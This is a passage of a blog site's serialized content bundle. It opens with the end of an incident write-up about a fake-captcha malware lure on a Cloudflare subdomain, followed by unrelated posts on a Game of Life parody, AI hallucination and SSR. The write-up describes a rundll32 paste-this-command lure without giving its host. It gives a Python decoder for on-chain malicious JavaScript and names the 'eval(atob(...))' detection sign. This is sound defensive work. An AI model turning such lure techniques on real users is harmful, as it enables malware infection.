RPC,\n",[285,2681,2682],{"class":287,"line":500},[285,2683,1382],{},[285,2685,2686],{"class":287,"line":514},[285,2687,1387],{},[285,2689,2690],{"class":287,"line":521},[285,2691,1392],{},[285,2693,2694],{"class":287,"line":750},[285,2695,1397],{},[285,2697,2698],{"class":287,"line":762},[285,2699,2700],{},"        \"params\": [{\"to\": CONTRACT, \"data\": \"0x6d4ce63c\"}, \"latest\"],\n",[285,2702,2703],{"class":287,"line":780},[285,2704,1422],{},[285,2706,2707],{"class":287,"line":795},[285,2708,1427],{},[285,2710,2711],{"class":287,"line":800},[285,2712,1265],{},[285,2714,2715],{"class":287,"line":810},[285,2716,1436],{},[285,2718,2719],{"class":287,"line":820},[285,2720,442],{"emptyLinePlaceholder":214},[285,2722,2723],{"class":287,"line":842},[285,2724,2725],{},"# ABI-decode a single-string return value\n",[285,2727,2728],{"class":287,"line":859},[285,2729,2730],{},"b      = bytes.fromhex(result[2:])\n",[285,2732,2733],{"class":287,"line":864},[285,2734,2735],{},"offset = int.from_bytes(b[0:32], \"big\")           # = 32 for a single string\n",[285,2737,2738],{"class":287,"line":877},[285,2739,1455],{},[285,2741,2742],{"class":287,"line":894},[285,2743,2744],{},"b64    = b[offset+32 : offset+32+length].decode()\n",[285,2746,2747],{"class":287,"line":926},[285,2748,2749],{},"js     = base64.b64decode(b64).decode(\"utf-8\", \"replace\")\n",[285,2751,2752],{"class":287,"line":985},[285,2753,442],{"emptyLinePlaceholder":214},[285,2755,2756],{"class":287,"line":1018},[285,2757,2758],{},"print(js)\n",[11,2760,2761,2762,2765,2766,2768],{},"if you ever find an ",[26,2763,2764],{},"eval(atob(...))"," of an ",[26,2767,1333],{}," result on a site you run, that script is your inspector. paste the contract address, run it, read what comes out. that's the whole malware.",[11,2770,2771],{},"stay safe.",[2773,2774,2775],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sFR8T, html code.shiki .sFR8T{--shiki-default:#B392F0;--shiki-dark:#B392F0}html pre.shiki code .s8ozJ, html code.shiki .s8ozJ{--shiki-default:#79B8FF;--shiki-dark:#79B8FF}html pre.shiki code .s4wv1, html code.shiki .s4wv1{--shiki-default:#9ECBFF;--shiki-dark:#9ECBFF}html pre.shiki code .suv1-, html code.shiki .suv1-{--shiki-default:#E1E4E8;--shiki-dark:#E1E4E8}html pre.shiki code .sOPea, html code.shiki .sOPea{--shiki-default:#F97583;--shiki-dark:#F97583}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .s-3mD, html code.shiki .s-3mD{--shiki-default:#FFAB70;--shiki-dark:#FFAB70}",{"title":202,"searchDepth":203,"depth":203,"links":2777},[2778,2779,2780,2781,2782,2783,2784,2785,2786,2787,2788,2789],{"id":275,"depth":203,"text":276},{"id":385,"depth":203,"text":386},{"id":573,"depth":203,"text":574},{"id":1347,"depth":203,"text":1348},{"id":1518,"depth":203,"text":1519},{"id":2252,"depth":203,"text":2253},{"id":2396,"depth":203,"text":2397},{"id":2413,"depth":203,"text":2414},{"id":2505,"depth":203,"text":2506},{"id":2529,"depth":203,"text":2530},{"id":2568,"depth":203,"text":2569},{"id":2642,"depth":203,"text":2643},"2026-04-26","a friend pinged me. it's his telegram mini-app, but it's running on a subdomain of mine — i registered the subdomain for him, dns goes through my cloudflare, that's the only thing tying me to it. a user of his messaged saying \"weird captcha on the site. it told me to press win+r and paste this.\" the command was a rundll32 line loading a DLL from a hostile SMB share, with the function called by ordinal #1. i'm not going to print the actual host because there are people who would copy-paste it just to see what it does, and that does what it says on the tin. so the shape was:",{},"\u002Fposts\u002Fclearfake-cloudflare-worker",{"title":228,"description":2791},"posts\u002Fclearfake-cloudflare-worker",[2797,2798,2799,2800,268,1321],"security","cloudflare","incident","malware","QyY1E1bocSm1lG5hgVgbuG6306R7b-D5B6sqtaLYGiw",{"id":2803,"title":2804,"body":2805,"date":2976,"description":2977,"excerpt":211,"extension":212,"meta":2978,"navigation":214,"path":2979,"seo":2980,"stem":2981,"tags":2982,"til":224,"__hash__":2985},"posts\u002Fposts\u002Fgame-of-slop.md","i made conway's game of life but every cell is AI slop",{"type":8,"value":2806,"toc":2970},[2807,2814,2817,2820,2823,2826,2830,2833,2836,2857,2865,2868,2874,2880,2883,2885,2889,2898,2901,2904,2907,2909,2913,2924,2927,2934,2945,2948,2950,2952,2955,2958],[11,2808,13,2809,21],{},[15,2810,2813],{"href":2811,"rel":2812},"https:\u002F\u002Fslop.avrdu.de",[19],"game of slop",[11,2815,2816],{},"it's conway's game of life, except instead of cells being alive or dead, they're different types of AI-generated content fighting for control of the internet.",[11,2818,2819],{},"each one has its own survival rules, and they eat each other in a food chain. SEO spam consumes AI art. clickbait outcompetes SEO spam. AI influencers co-opt clickbait. and so on, in two interlocking cycles that keep the ecosystem from collapsing into a monoculture.",[11,2821,2822],{},"it looks like windows 98 because the internet peaked in 1998 and it's been downhill ever since.",[2824,2825],"hr",{},[31,2827,2829],{"id":2828},"the-rules","the rules",[11,2831,2832],{},"classic game of life is binary. alive or dead. three neighbors to be born, two or three to survive. elegant, boring after five minutes.",[11,2834,2835],{},"game of slop has eight species competing in a shared grid. each type has:",[38,2837,2838,2845,2851],{},[41,2839,2840,2841,2844],{},"a ",[107,2842,2843],{},"survival range"," - how many friendly neighbors it needs to stay alive",[41,2846,2840,2847,2850],{},[107,2848,2849],{},"birth condition"," - what the neighborhood needs to look like for a new cell to appear",[41,2852,2840,2853,2856],{},[107,2854,2855],{},"predator"," - another type that converts it when enough of them surround it",[11,2858,2859,2860,2864],{},"the predation mechanic is what makes it interesting. cells don't just die - they get ",[2861,2862,2863],"em",{},"converted"," to their predator type. so you get these waves of content washing over the grid, one trend replacing another, like watching twitter in real time but at 200ms per tick.",[11,2866,2867],{},"there are two food chains running simultaneously:",[11,2869,2870,2873],{},[107,2871,2872],{},"the content pipeline:"," SEO spam → AI art → AI influencers → clickbait → SEO spam",[11,2875,2876,2879],{},[107,2877,2878],{},"the tech pipeline:"," ChatGPT essays → AI code → AI music → deepfakes → ChatGPT essays",[11,2881,2882],{},"the result is a grid that never stabilizes into something boring. types expand, hit their predator, collapse, seed new growth. it's the dead internet theory as a screensaver.",[2824,2884],{},[31,2886,2888],{"id":2887},"the-ui","the ui",[11,2890,2891,2892,2897],{},"the whole thing is styled like windows 98. title bars, beveled borders, taskbar with a start menu and clock, the works. ",[15,2893,2896],{"href":2894,"rel":2895},"https:\u002F\u002Fjdan.github.io\u002F98.css\u002F",[19],"98.css"," does most of the heavy lifting - it's a simple CSS to make your UI look like windows 98 duh.",[11,2899,2900],{},"there's a boot sequence when you first load the page. a whole fake BIOS. then a splash screen with a progress bar. because commitment to the bit matters.",[11,2902,2903],{},"the taskbar has a scrolling news ticker that i used AI to generate the random ass news for.",[11,2905,2906],{},"CRT scanlines are on by default because it's a vibe.",[2824,2908],{},[31,2910,2912],{"id":2911},"the-tech","the tech",[11,2914,2915,2916,2919,2920,2923],{},"react, typescript, zustand for state management, vite + bun for the build. the simulation engine and canvas renderer are pure typescript - no react in the hot path. the engine writes to zustand stores directly via ",[26,2917,2918],{},"getState()",", and the canvas runs on ",[26,2921,2922],{},"requestAnimationFrame"," polling a render version counter. react never re-renders for grid updates.",[11,2925,2926],{},"im actually applying for react positions and i need to keep my skill up. even with the ai stuff. otherwise pure JS would've been enough here.",[11,2928,2929,2930,2933],{},"the grid is a double-buffered ",[26,2931,2932],{},"Uint8Array"," - two flat arrays, one for current state, one for next state, swap pointers after each tick. cache-friendly and zero-allocation per tick.",[11,2935,2936,2937,2940,2941,2944],{},"rendering uses ",[26,2938,2939],{},"ImageData"," for small cell sizes (write directly to the pixel buffer) and ",[26,2942,2943],{},"fillRect"," + cached emoji bitmaps for larger sizes. at 16px cells you get actual emoji rendered on each cell which looks surprisingly good.",[11,2946,2947],{},"the whole thing is ~235KB gzipped.",[2824,2949],{},[31,2951,33],{"id":33},[11,2953,2954],{},"because the internet is filling up with AI-generated garbage and the only appropriate response is to make more AI-generated garbage, because it's hella fun (and i've got free claude subscription).",[11,2956,2957],{},"this game is kind of like the actual internet, except this one runs in a browser tab and doesn't try to sell you anything.",[11,2959,2960,2964,2965],{},[15,2961,2963],{"href":2811,"rel":2962},[19],"slop.avrdu.de"," · ",[15,2966,2969],{"href":2967,"rel":2968},"https:\u002F\u002Fgithub.com\u002Favr6ude\u002Fgameofslop",[19],"source on github",{"title":202,"searchDepth":203,"depth":203,"links":2971},[2972,2973,2974,2975],{"id":2828,"depth":203,"text":2829},{"id":2887,"depth":203,"text":2888},{"id":2911,"depth":203,"text":2912},{"id":33,"depth":203,"text":33},"2026-03-17","so i built game of slop.",{},"\u002Fposts\u002Fgame-of-slop",{"title":2804,"description":2977},"posts\u002Fgame-of-slop",[219,222,2983,2984],"ai","gamedev","CUo1ICopxNzCQQy7mkpmI7zNlP7c9-iTyCGgrUtApgw",{"id":2987,"title":2988,"body":2989,"date":3005,"description":2993,"excerpt":211,"extension":212,"meta":3006,"navigation":214,"path":3007,"seo":3008,"stem":3009,"tags":3010,"til":224,"__hash__":3012},"posts\u002Fposts\u002Fhello-world.md","PSA",{"type":8,"value":2990,"toc":3003},[2991,2994,2997,3000],[11,2992,2993],{},"Hi. Welcome to the site.",[11,2995,2996],{},"Before you click around too much I feel obligated to warn you: an AI helped build this page. Specifically, Claude. Yes, that Claude. The one that confidently invents entire project structures that don't exist and then apologizes about it.",[11,2998,2999],{},"Some of the code you see here was at some point touched by a model that, moments earlier, hallucinated a fully functioning Preact codebase out of thin air - complete with Tailwind config, DaisyUI themes, and yarn plugins - in a repo that contained exactly two files.",[11,3001,3002],{},"You've been warned. Enjoy your stay.",{"title":202,"searchDepth":203,"depth":203,"links":3004},[],"2026-03-15",{},"\u002Fposts\u002Fhello-world",{"title":2988,"description":2993},"posts\u002Fhello-world",[3011],"meta","RVxj1nW9e4_1PW-RSs_aQs_8C74aWVixyZFpVIYwvnc",{"id":3014,"title":3015,"body":3016,"date":3259,"description":3020,"excerpt":211,"extension":212,"meta":3260,"navigation":214,"path":3261,"seo":3262,"stem":3263,"tags":3264,"til":224,"__hash__":3268},"posts\u002Fposts\u002Fstop-using-ssr.md","we should stop using ssr",{"type":8,"value":3017,"toc":3251},[3018,3021,3024,3032,3035,3042,3044,3048,3051,3054,3057,3060,3063,3066,3069,3072,3075,3077,3081,3084,3087,3090,3109,3112,3114,3118,3121,3124,3127,3138,3141,3143,3147,3150,3153,3164,3175,3178,3181,3183,3187,3190,3193,3210,3213,3216,3219,3222,3225,3228,3230,3234,3237,3240,3243,3246],[11,3019,3020],{},"i'm fucking sick of it.",[11,3022,3023],{},"every tutorial, every job posting, every \"modern web dev\" course. Next.js this, Nuxt.js that. SSR. server components. as if rendering HTML on a server is some revolutionary idea we just invented and not literally what PHP was doing twenty years ago.",[11,3025,13,3026,3031],{},[15,3027,3030],{"href":3028,"rel":3029},"https:\u002F\u002Fstopusingssr.com",[19],"stopusingssr.com",". a static website. deployed to a CDN. about how you don't need a server to render your website. all for free.",[11,3033,3034],{},"the irony was the point.",[11,3036,3037],{},[3038,3039],"img",{"alt":3040,"src":3041},"fix everything switch meme","\u002Fimages\u002Fssr-switch.webp",[2824,3043],{},[31,3045,3047],{"id":3046},"how-it-started","how it started",[11,3049,3050],{},"we needed a blog. a company blog. static content, published occasionally, read by humans and maybe some crawlers. the most boring infrastructure problem in existence.",[11,3052,3053],{},"our CTO didn't want to deploy a Node.js server for it. he's not a frontend guy - he wasn't making a point about SSR vs static or SEO or any of that. his reason was simpler: we already had a project drowning in microservices. adding another server, another deployment, another thing to monitor and maintain and wake up at 3am for - for a simple blog - made no sense to him. and to make it worse, we didn't have a single Node.js deployment in the entire project. not one. every service was running python or rust. so this wasn't just \"another server\" - it was introducing a whole new runtime into the stack. for a blog. pure infrastructure pragmatism.",[11,3055,3056],{},"our team lead wanted Next.js anyway. for \"SEO\" and \"React\".",[11,3058,3059],{},"i tried to explain the frontend side of it - static HTML on a CDN is already the best thing you can do for SEO. faster, globally cached, no server latency, no cold starts. Next.js wasn't going to help. it was going to add complexity without adding anything.",[11,3061,3062],{},"the lead didn't want to hear it. from either of us.",[11,3064,3065],{},"so we got a Node.js server. for a blog. one more thing to maintain in a pile that was already too big, solving a problem that didn't exist, for SEO reasons that were never real.",[11,3067,3068],{},"and our CTO - who just didn't want more servers, which is a completely reasonable thing to not want - was pushed out over it among other things.",[11,3070,3071],{},"that's the story. someone's ego and an unquestioned default choice cost a good engineer their time and gave a company a server they never needed.",[11,3073,3074],{},"i built stopusingssr.com because that conversation happens everywhere, every day, and most of the time nobody wins the argument even when they're obviously fucking right. maybe a website helps.",[2824,3076],{},[31,3078,3080],{"id":3079},"the-thing-nobody-says-out-loud","the thing nobody says out loud",[11,3082,3083],{},"Vercel built Next.js. Vercel charges you per function invocation. Vercel's entire business model scales with how much server compute your app uses.",[11,3085,3086],{},"and Vercel's documentation, their tutorials, their examples, their conference talks, tons of paid articles on how Next.js \"helped with their website\" - all of them push you toward SSR by default. to give them more money. to make someone rich.",[11,3088,3089],{},"i'm not saying it's a conspiracy. i'm saying it's a conflict of interest and you should factor that in when the ecosystem tells you \"just use Next.js.\"",[11,3091,3092,3093,3098,3099,3098,3104,3108],{},"the receipts are real. ",[15,3094,3097],{"href":3095,"rel":3096},"https:\u002F\u002Fnews.ycombinator.com\u002Fitem?id=40618220",[19],"$96k in one month",". ",[15,3100,3103],{"href":3101,"rel":3102},"https:\u002F\u002Fserverlesshorrors.com\u002F",[19],"$46k after hitting 450M pageviews",[15,3105,3107],{"href":3101,"rel":3106},[19],"$23k from someone spamming a form",". these aren't edge cases. they're what happens when your architecture bills per request and something goes wrong.",[11,3110,3111],{},"a SPA on Cloudflare Pages? the same traffic costs zero. literally zero. because you're serving files, not running a server. it won't cost you a dime to do this. don't want to deal with Cloudflare? go use github pages. you are free to choose. you can even host it on your router, your landing with flashy graphics and stock images is not something you need a whole-ass server for.",[2824,3113],{},[31,3115,3117],{"id":3116},"the-php-argument","the php argument",[11,3119,3120],{},"here's the thing that really gets me.",[11,3122,3123],{},"SSR is not new. it's not modern. it's not innovative. it's PHP. good old PHP that we all hate yet keep using. it's what the entire industry spent a decade escaping when SPAs became viable.",[11,3125,3126],{},"people moved client-side because servers were expensive, deployments were painful, and the user experience of a well-built SPA was genuinely better. that was the right call.",[11,3128,3129,3130,3133,3134,3137],{},"and now we're back. same idea, different branding. \"React Server Components\" instead of \"PHP templates.\" ",[26,3131,3132],{},"getServerSideProps"," instead of ",[26,3135,3136],{},"\u003C?php echo $title ?>",". a $20\u002Fmonth Vercel bill instead of a $5 VPS plan or Cloudflare Pages again.",[11,3139,3140],{},"at least PHP was honest about what it was.",[2824,3142],{},[31,3144,3146],{"id":3145},"when-ssr-actually-makes-sense-or-does-it","when SSR actually makes sense (or does it?)",[11,3148,3149],{},"i'm not saying never use SSR. i'm saying stop using it as the default.",[11,3151,3152],{},"it makes sense when:",[38,3154,3155,3158,3161],{},[41,3156,3157],{},"you have public pages that need real SEO - like an e-commerce product catalog or a news site",[41,3159,3160],{},"each URL needs unique metadata for social sharing",[41,3162,3163],{},"the content changes per URL, not per user",[11,3165,3166,3167,3170,3171,3174],{},"and even then - if SEO is genuinely your concern, you don't need React or Vue or any other flashy framework to solve it. you just need HTML. vanilla JS. the stuff browsers have been running natively for thirty years. you don't need a server runtime and a framework and a deployment pipeline to write a ",[26,3168,3169],{},"\u003Ctitle>"," tag and some ",[26,3172,3173],{},"\u003Cmeta>"," descriptions. the platform already does that. it has always done that.",[11,3176,3177],{},"that's it. that's the whole list.",[11,3179,3180],{},"if your app is behind a login, SSR gives you nothing. if you're building a dashboard, SSR still gives you nothing. if you're building a SaaS product where \"the users\" are your customers, SSR gives you nothing except a server to maintain and a bill that scales with your traffic.",[2824,3182],{},[31,3184,3186],{"id":3185},"what-i-actually-built","what i actually built",[11,3188,3189],{},"the site is pure HTML. no build step beyond minification. deployed to Cloudflare Pages. for free.",[11,3191,3192],{},"it has:",[38,3194,3195,3198,3201,3204,3207],{},[41,3196,3197],{},"a breakdown of reasons SSR is the wrong default",[41,3199,3200],{},"unironically a PHP comparison (because someone had to say it)",[41,3202,3203],{},"actual documented billing incidents from people who fell victim",[41,3205,3206],{},"a decision tree: questions that tell you whether you actually need SSR (trust me, you don't)",[41,3208,3209],{},"a side-by-side comparison of SSR vs SPA",[11,3211,3212],{},"the whole thing scores 100 on Lighthouse. obviously. it's a static file.\nand this post you're reading right now? static too.",[11,3214,3215],{},"\"but wait - this blog runs Astro. isn't that hypocritical?\"\nnope. Astro runs once, at build time, on your machine or in CI. it reads your markdown, generates HTML files, and then it's done.",[11,3217,3218],{},"there's no Astro or React or Vue or whatever running anywhere when you load this page. no server, no runtime, no invocations. just a file Cloudflare found on a shelf and handed to your browser.",[11,3220,3221],{},"that's why Astro exists in the first place - not to be a server, but to make building static sites with components and markdown actually pleasant for a lazy ass like me. it's a build tool that happens to understand HTML really well. once it's done building, it disappears.",[11,3223,3224],{},"a goddamn blog. a simple thing a lot of people reach Next.js for. running as flat files on a CDN.",[11,3226,3227],{},"it's its own proof.",[2824,3229],{},[31,3231,3233],{"id":3232},"the-point","the point",[11,3235,3236],{},"i'm not trying to tell you what to build with. use whatever makes sense for your project. that's literally the message.",[11,3238,3239],{},"the problem is the community (and Vercel with its paid articles) has normalized SSR as the starting point, the safe choice, the \"professional\" option - and it's none of those things for most apps.",[11,3241,3242],{},"your users have devices that run AAA games. their browsers are more capable than ever. the CDN infrastructure available for free in 2025 would have seemed insane ten years ago.",[11,3244,3245],{},"you don't need a server to render a string of HTML for them. you never did.",[11,3247,3248],{},[15,3249,3030],{"href":3028,"rel":3250},[19],{"title":202,"searchDepth":203,"depth":203,"links":3252},[3253,3254,3255,3256,3257,3258],{"id":3046,"depth":203,"text":3047},{"id":3079,"depth":203,"text":3080},{"id":3116,"depth":203,"text":3117},{"id":3145,"depth":203,"text":3146},{"id":3185,"depth":203,"text":3186},{"id":3232,"depth":203,"text":3233},"2026-03-16",{},"\u002Fposts\u002Fstop-using-ssr",{"title":3015,"description":3020},"posts\u002Fstop-using-ssr",[3265,3266,3267],"ssr","nextjs","webdev","86p-sVDti5NEW2QYTJ1A7Lj9WN7OxcPm5L7PhzhsYaI",1790348196421]